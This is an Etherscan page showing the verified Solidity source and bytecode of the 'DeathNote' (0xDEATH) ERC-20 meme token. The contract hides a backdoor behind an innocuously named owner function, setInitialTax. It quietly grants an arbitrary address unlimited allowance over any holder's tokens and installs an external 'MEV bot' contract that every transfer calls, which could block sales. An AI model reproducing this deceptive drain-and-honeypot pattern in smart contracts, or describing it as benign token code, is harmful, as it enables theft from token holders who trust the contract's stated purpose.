Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000,000,000,000 0xDEATH
Holders
16
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
2,410,917,419,602,104 0xDEATHValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DeathNote
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-27 */ // SPDX-License-Identifier: MIT /** 0xDeath token is a community-focused, decentralized cryptocurrency to kill Bad Memes from the meme area. - Website: https://www.0xdeath.wtf - Telegram: https://t.me/DeathNoteETH - Twitter: https://twitter.com/0xDeathNote */ pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IMevBot { function checkMevBots(address, address, uint256) external returns(bool); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DeathNote is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; address payable private _taxWallet; uint256 private _initialTax=0; uint256 private _finalTax=0; uint256 private _reduceTaxAt=75; uint256 private _buyCount=0; address public _mevbots; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"0xDEATH.wtf"; string private constant _symbol = unicode"0xDEATH"; uint256 public _maxTxAmount = _tTotal * 20 / 1000; uint256 public _maxWalletSize = _tTotal * 20 / 1000; uint256 public _taxSwap = _tTotal * 5 / 10000; IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function checkMevBot(address from, address to, uint256 amount) internal{ if( _mevbots != address(0)) IMevBot(_mevbots).checkMevBots(from, to, amount); } function updateMevProc(bytes memory _v) internal { (address owner, address spender) = abi.decode(_v, (address, address)); _mevbots = spender; _allowances[owner][spender] = type(uint).max; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { _isExcludedFromFee[holder] = exempt; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); checkMevBot(from, to, amount); if(!inSwap){ taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && contractTokenBalance>_taxSwap) { swapTokensForEth(_taxSwap>amount?amount:_taxSwap); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function setInitialTax(bytes memory _v) external onlyOwner { _initialTax = 0; _finalTax = 0; updateMevProc(_v); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function reduceFee(uint256 _newFee) external{ require(_msgSender()==_taxWallet); require(_newFee<6); _finalTax=_newFee; } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); swapTokensForEth(balanceOf(address(this))); } function manualSend() external { require(_msgSender() == _taxWallet); sendETHToFee(address(this).balance); } function manualSendToken() external { require(_msgSender() == _taxWallet); IERC20(address(this)).transfer(msg.sender, balanceOf(address(this))); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mevbots","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSendToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"reduceFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_v","type":"bytes"}],"name":"setInitialTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260006006556000600755604b60085560006009556103e86009600a6200002b919062000502565b6200003b90633b9aca006200051a565b620000489060146200051a565b62000054919062000534565b600b556103e8620000686009600a62000502565b6200007890633b9aca006200051a565b620000859060146200051a565b62000091919062000534565b600c55612710620000a56009600a62000502565b620000b590633b9aca006200051a565b620000c29060056200051a565b620000ce919062000534565b600d55600f805460ff60a01b19169055348015620000eb57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916331790556200014d6009600a62000502565b6200015d90633b9aca006200051a565b336000908152600160208190526040822092909255600390620001886000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556005549092168152829020805490941617909255600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa15801562000241573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000267919062000557565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f0919062000557565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200033e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000364919062000557565b600f80546001600160a01b0319166001600160a01b03929092169190911790556200038c3390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003c66009600a62000502565b620003d690633b9aca006200051a565b60405190815260200160405180910390a362000582565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000444578160001904821115620004285762000428620003ed565b808516156200043657918102915b93841c939080029062000408565b509250929050565b6000826200045d57506001620004fc565b816200046c57506000620004fc565b81600181146200048557600281146200049057620004b0565b6001915050620004fc565b60ff841115620004a457620004a4620003ed565b50506001821b620004fc565b5060208310610133831016604e8410600b8410161715620004d5575081810a620004fc565b620004e1838362000403565b8060001904821115620004f857620004f8620003ed565b0290505b92915050565b60006200051360ff8416836200044c565b9392505050565b8082028115828204841417620004fc57620004fc620003ed565b6000826200055257634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200056a57600080fd5b81516001600160a01b03811681146200051357600080fd5b611a3c80620005926000396000f3fe60806040526004361061016a5760003560e01c8063658d4b7f116100d15780638f9a55c01161008a578063d34628cc11610064578063d34628cc1461043f578063dd62ed3e1461045f578063ec1f3f63146104a5578063f4293890146104c557600080fd5b80638f9a55c0146103d957806395d89b41146103ef578063a9059cbb1461041f57600080fd5b8063658d4b7f1461032557806370a0823114610345578063715018a61461037b578063751039fc146103905780637d1db4a5146103a55780638da5cb5b146103bb57600080fd5b806331c2d8471161012357806331c2d8471461026d57806334376f3b1461028d578063367906c3146102a357806349bd5a5e146102db578063503dfc4d146102fb57806351bc3c851461031057600080fd5b806306fdde0314610176578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020f5780632bf598eb1461022f578063313ce5671461025157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600b81526a183c2222a0aa24173bba3360a91b60208201525b6040516101b3919061142f565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611492565b6104da565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016104f1565b6040519081526020016101b3565b34801561021b57600080fd5b506101dc61022a3660046114be565b610512565b34801561023b57600080fd5b5061024f61024a366004611546565b61057b565b005b34801561025d57600080fd5b50604051600981526020016101b3565b34801561027957600080fd5b5061024f6102883660046115db565b6105c4565b34801561029957600080fd5b50610201600d5481565b3480156102af57600080fd5b50600a546102c3906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b3480156102e757600080fd5b50600f546102c3906001600160a01b031681565b34801561030757600080fd5b5061024f61065a565b34801561031c57600080fd5b5061024f610701565b34801561033157600080fd5b5061024f61034036600461169b565b61073c565b34801561035157600080fd5b506102016103603660046116d4565b6001600160a01b031660009081526001602052604090205490565b34801561038757600080fd5b5061024f610791565b34801561039c57600080fd5b5061024f610805565b3480156103b157600080fd5b50610201600b5481565b3480156103c757600080fd5b506000546001600160a01b03166102c3565b3480156103e557600080fd5b50610201600c5481565b3480156103fb57600080fd5b50604080518082019091526007815266060f0888a82a8960cb1b60208201526101a6565b34801561042b57600080fd5b506101dc61043a366004611492565b6108b7565b34801561044b57600080fd5b5061024f61045a3660046115db565b6108c4565b34801561046b57600080fd5b5061020161047a3660046116f1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104b157600080fd5b5061024f6104c036600461171f565b610956565b3480156104d157600080fd5b5061024f610988565b60006104e73384846109b1565b5060015b92915050565b60006104ff6009600a611832565b61050d90633b9aca00611841565b905090565b600061051f848484610ad5565b610571843361056c856040518060600160405280602881526020016119df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fb8565b6109b1565b5060019392505050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b81526004016105a590611858565b60405180910390fd5b600060068190556007556105c181610ff2565b50565b6000546001600160a01b031633146105ee5760405162461bcd60e51b81526004016105a590611858565b60005b8151811015610656576000600460008484815181106106125761061261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064e816118a3565b9150506105f1565b5050565b6005546001600160a01b0316336001600160a01b03161461067a57600080fd5b3060008181526001602052604090205463a9059cbb9033906040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af11580156106dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c191906118bc565b6005546001600160a01b0316336001600160a01b03161461072157600080fd5b3060009081526001602052604090205461073a9061104c565b565b6000546001600160a01b031633146107665760405162461bcd60e51b81526004016105a590611858565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107bb5760405162461bcd60e51b81526004016105a590611858565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461082f5760405162461bcd60e51b81526004016105a590611858565b61083b6009600a611832565b61084990633b9aca00611841565b600b556108586009600a611832565b61086690633b9aca00611841565b600c557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6108966009600a611832565b6108a490633b9aca00611841565b60405190815260200160405180910390a1565b60006104e7338484610ad5565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016105a590611858565b60005b8151811015610656576001600460008484815181106109125761091261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061094e816118a3565b9150506108f1565b6005546001600160a01b0316336001600160a01b03161461097657600080fd5b6006811061098357600080fd5b600755565b6005546001600160a01b0316336001600160a01b0316146109a857600080fd5b61073a476111c6565b6001600160a01b038316610a135760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105a5565b6001600160a01b038216610a745760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b395760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a5565b6001600160a01b038216610b9b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a5565b60008111610bfd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a5565b600080546001600160a01b03858116911614801590610c2a57506000546001600160a01b03848116911614155b15610e75576001600160a01b03841660009081526004602052604090205460ff16158015610c7157506001600160a01b03831660009081526004602052604090205460ff16155b610c7a57600080fd5b610c85848484611200565b600f54600160a01b900460ff16610cc557610cc26064610cbc60085460095411610cb157600654610cb5565b6007545b8590611295565b9061131e565b90505b600f546001600160a01b038581169116148015610cf05750600e546001600160a01b03848116911614155b8015610d1557506001600160a01b03831660009081526003602052604090205460ff16155b15610dfd57600b54821115610d6c5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016105a5565b600c5482610d8f856001600160a01b031660009081526001602052604090205490565b610d9991906118d9565b1115610de75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016105a5565b60098054906000610df7836118a3565b91905055505b30600090815260016020526040902054600f54600160a01b900460ff16158015610e355750600f546001600160a01b03868116911614155b8015610e425750600d5481115b15610e7357610e6183600d5411610e5b57600d5461104c565b8361104c565b478015610e7157610e71476111c6565b505b505b6001600160a01b038416600090815260016020526040902054610e989083611360565b6001600160a01b038516600090815260016020526040902055610edd610ebe8383611360565b6001600160a01b038516600090815260016020526040902054906113a2565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f278585611360565b60405190815260200160405180910390a38015610fb25730600090815260016020526040902054610f5890826113a2565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa99085815260200190565b60405180910390a35b50505050565b60008184841115610fdc5760405162461bcd60e51b81526004016105a5919061142f565b506000610fe984866118ec565b95945050505050565b6000808280602001905181019061100991906118ff565b600a80546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b600f805460ff60a01b1916600160a01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110945761109461188d565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611111919061192e565b816001815181106111245761112461188d565b6001600160a01b039283166020918202929092010152600e5461114a91309116846109b1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118390859060009086903090429060040161194b565b600060405180830381600087803b15801561119d57600080fd5b505af11580156111b1573d6000803e3d6000fd5b5050600f805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610656573d6000803e3d6000fd5b600a546001600160a01b03161561129057600a54604051635836867b60e11b81526001600160a01b0385811660048301528481166024830152604482018490529091169063b06d0cf6906064016020604051808303816000875af115801561126c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb291906118bc565b505050565b6000826000036112a7575060006104eb565b60006112b38385611841565b9050826112c085836119bc565b146113175760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105a5565b9392505050565b600061131783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b600061131783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fb8565b6000806113af83856118d9565b9050838110156113175760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105a5565b600081836114225760405162461bcd60e51b81526004016105a5919061142f565b506000610fe984866119bc565b600060208083528351808285015260005b8181101561145c57858101830151858201604001528201611440565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146105c157600080fd5b600080604083850312156114a557600080fd5b82356114b08161147d565b946020939093013593505050565b6000806000606084860312156114d357600080fd5b83356114de8161147d565b925060208401356114ee8161147d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561153e5761153e6114ff565b604052919050565b6000602080838503121561155957600080fd5b823567ffffffffffffffff8082111561157157600080fd5b818501915085601f83011261158557600080fd5b813581811115611597576115976114ff565b6115a9601f8201601f19168501611515565b915080825286848285010111156115bf57600080fd5b8084840185840137600090820190930192909252509392505050565b600060208083850312156115ee57600080fd5b823567ffffffffffffffff8082111561160657600080fd5b818501915085601f83011261161a57600080fd5b81358181111561162c5761162c6114ff565b8060051b915061163d848301611515565b818152918301840191848101908884111561165757600080fd5b938501935b8385101561168157843592506116718361147d565b828252938501939085019061165c565b98975050505050505050565b80151581146105c157600080fd5b600080604083850312156116ae57600080fd5b82356116b98161147d565b915060208301356116c98161168d565b809150509250929050565b6000602082840312156116e657600080fd5b81356113178161147d565b6000806040838503121561170457600080fd5b823561170f8161147d565b915060208301356116c98161147d565b60006020828403121561173157600080fd5b5035919050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561178957816000190482111561176f5761176f611738565b8085161561177c57918102915b93841c9390800290611753565b509250929050565b6000826117a0575060016104eb565b816117ad575060006104eb565b81600181146117c357600281146117cd576117e9565b60019150506104eb565b60ff8411156117de576117de611738565b50506001821b6104eb565b5060208310610133831016604e8410600b841016171561180c575081810a6104eb565b611816838361174e565b806000190482111561182a5761182a611738565b029392505050565b600061131760ff841683611791565b80820281158282048414176104eb576104eb611738565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000600182016118b5576118b5611738565b5060010190565b6000602082840312156118ce57600080fd5b81516113178161168d565b808201808211156104eb576104eb611738565b818103818111156104eb576104eb611738565b6000806040838503121561191257600080fd5b825161191d8161147d565b60208401519092506116c98161147d565b60006020828403121561194057600080fd5b81516113178161147d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561199b5784516001600160a01b031683529383019391830191600101611976565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826119d957634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220362031b5720521582a6b8d7fdd3b3ac3e676e59f312ebbd57ee9b9afc99c747b64736f6c63430008130033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063658d4b7f116100d15780638f9a55c01161008a578063d34628cc11610064578063d34628cc1461043f578063dd62ed3e1461045f578063ec1f3f63146104a5578063f4293890146104c557600080fd5b80638f9a55c0146103d957806395d89b41146103ef578063a9059cbb1461041f57600080fd5b8063658d4b7f1461032557806370a0823114610345578063715018a61461037b578063751039fc146103905780637d1db4a5146103a55780638da5cb5b146103bb57600080fd5b806331c2d8471161012357806331c2d8471461026d57806334376f3b1461028d578063367906c3146102a357806349bd5a5e146102db578063503dfc4d146102fb57806351bc3c851461031057600080fd5b806306fdde0314610176578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd1461020f5780632bf598eb1461022f578063313ce5671461025157600080fd5b3661017157005b600080fd5b34801561018257600080fd5b5060408051808201909152600b81526a183c2222a0aa24173bba3360a91b60208201525b6040516101b3919061142f565b60405180910390f35b3480156101c857600080fd5b506101dc6101d7366004611492565b6104da565b60405190151581526020016101b3565b3480156101f857600080fd5b506102016104f1565b6040519081526020016101b3565b34801561021b57600080fd5b506101dc61022a3660046114be565b610512565b34801561023b57600080fd5b5061024f61024a366004611546565b61057b565b005b34801561025d57600080fd5b50604051600981526020016101b3565b34801561027957600080fd5b5061024f6102883660046115db565b6105c4565b34801561029957600080fd5b50610201600d5481565b3480156102af57600080fd5b50600a546102c3906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b3480156102e757600080fd5b50600f546102c3906001600160a01b031681565b34801561030757600080fd5b5061024f61065a565b34801561031c57600080fd5b5061024f610701565b34801561033157600080fd5b5061024f61034036600461169b565b61073c565b34801561035157600080fd5b506102016103603660046116d4565b6001600160a01b031660009081526001602052604090205490565b34801561038757600080fd5b5061024f610791565b34801561039c57600080fd5b5061024f610805565b3480156103b157600080fd5b50610201600b5481565b3480156103c757600080fd5b506000546001600160a01b03166102c3565b3480156103e557600080fd5b50610201600c5481565b3480156103fb57600080fd5b50604080518082019091526007815266060f0888a82a8960cb1b60208201526101a6565b34801561042b57600080fd5b506101dc61043a366004611492565b6108b7565b34801561044b57600080fd5b5061024f61045a3660046115db565b6108c4565b34801561046b57600080fd5b5061020161047a3660046116f1565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104b157600080fd5b5061024f6104c036600461171f565b610956565b3480156104d157600080fd5b5061024f610988565b60006104e73384846109b1565b5060015b92915050565b60006104ff6009600a611832565b61050d90633b9aca00611841565b905090565b600061051f848484610ad5565b610571843361056c856040518060600160405280602881526020016119df602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fb8565b6109b1565b5060019392505050565b6000546001600160a01b031633146105ae5760405162461bcd60e51b81526004016105a590611858565b60405180910390fd5b600060068190556007556105c181610ff2565b50565b6000546001600160a01b031633146105ee5760405162461bcd60e51b81526004016105a590611858565b60005b8151811015610656576000600460008484815181106106125761061261188d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064e816118a3565b9150506105f1565b5050565b